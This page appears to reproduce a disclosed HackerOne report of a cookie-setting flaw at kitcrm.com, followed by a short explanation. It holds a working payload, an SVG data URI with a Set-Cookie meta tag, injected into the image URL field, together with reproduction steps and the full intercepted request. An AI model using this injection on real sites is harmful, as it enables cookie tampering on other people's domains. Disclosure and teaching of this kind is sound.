Skip to content
XSS Disclosed report Intermediate

Setting Arbitrary Cookie at kitcrm.com

The image URL field of a scheduled post was not sanitised, so an attacker could supply a data URI containing an SVG with a Set-Cookie meta tag. When the post was edited, the browser rendered the SVG and set an arbitrary cookie on the site's domain.

dhaval Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 5 months

Hey

The src parameter of Image is not being sanitized which allows me to set cookies at kitcrm.com

Proof of Concept

  1. Create a post at https://kitcrm.com/pages/ID/manual_posts/new
  2. Select Schedule for Later
  3. Go to Scheduled Posts https://kitcrm.com/pages/ID/manual_posts
  4. Click Edit on your post
  5. Select any random photo and click "Update"
  6. Intercept the request, Change the manual_post[image_url] to

data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg> 7. Check document.cookie from the console

POST /pages/176625/manual_posts/30923 HTTP/1.1
Host: kitcrm.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://kitcrm.com/pages/176625/manual_posts/30923/edit
Cookie: 
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------153019791019196005451079530934
Content-Length: 3600

-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="utf8"

✓
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="_method"

patch
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="authenticity_token"

HSRt0lrRnpOeD8pANBLJWen0cCihQV/eAhaCBvUR7XjZkiqSjXWDBvY+Qr/+fk9QjL7RI1aTOPciNpGQLnKBFg==
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_uploader]"; filename="medium_divider.png"
Content-Type: image/png

‰PNG


IHDRd¨ËfwsRGB®ÎéIDATxíÝAN1PqÄp
؇ufÏ\#sGr‚*¤XVlç±ië÷ûˆR/èyzòC€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€,pýxûù•ãï“Çýv}ÿ)Ÿ @€ÕFÿþ?¯vCæ!@€=È{2%–P ËÄ@ØC@ì±'S @`9²ÜJ
D€=È{2%–P ËÄ@ØC@ì±'S @`9²ÜJ
D€=^öӔü¯£ÿ-ímó~s<Ì³u2ŽP G¯×Í @`ž€™gëd- @Ž^¯›#@€À<2ÏÖÉ8Z@½^7G€y
dž“	 p´€9z½nŽóÈ<[' @àhrôzÝæ	(y¶N&@€ÀÑ×è{fŽÖqs <D4Òtd H¤ @€@ð} MGF€À?øýùkh†×÷¡ë]œ<d	RpD H¶‘ @€@P GD€Y@d	RpD H¶‘ @€@P GD€Y@d	RpD H¶‘ @€@~Öã~»Êù"
	\÷ÛÐõ.Σßå	$ÛJ @ (‚#"@€, @²„Š€)8"È
$ÛH @ (‚#"@€, @²„Š€)8"È
$ÛH @ (‚#"@€, @²„Š€)8"È
$ÛH @ (‚#"@€, @²„Š€)8"È
$ÛH @ (‚#"@€, @²„Š€)8"È
$ÛH @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€ @€þRàS“
¿–i{IEND®B`‚
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[message]"

sdasda
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[link]"


-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[facebook]"

true
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[twitter]"

false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[share_all]"

false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at]"

1:00
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_1i]"

2017
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_2i]"

3
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_3i]"

17
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_4i]"

1
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_5i]"

0
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="commit"

UPDATE
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_url]"

data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
-----------------------------153019791019196005451079530934--

The original report as published on HackerOne, by dhaval. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application accepted a data URI in the image URL field without validating or sanitising it, and then rendered it in a context where the embedded SVG could execute.

Impact

An attacker could set arbitrary cookies on the kitcrm.com domain.

What the attacker needed

An account able to create posts; ability to intercept and modify requests

How it was found

  1. Create a post at the manual posts new page.
  2. Select Schedule for Later.
  3. Open the scheduled posts list and click Edit on the post.
  4. Select a random photo and click Update.
  5. Intercept the request and change the image URL field to a data URI containing an SVG with a Set-Cookie meta tag.
  6. Check document.cookie in the browser console.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cookie is a small piece of data a website stores in your browser, and it can be used to identify your session. The site let a user put a special image link into a post, and that link could contain a tiny web page that tells the browser to save a cookie. Because the site did not clean the link, the browser obeyed and saved a cookie chosen by the attacker.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by dhaval

View all

5 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.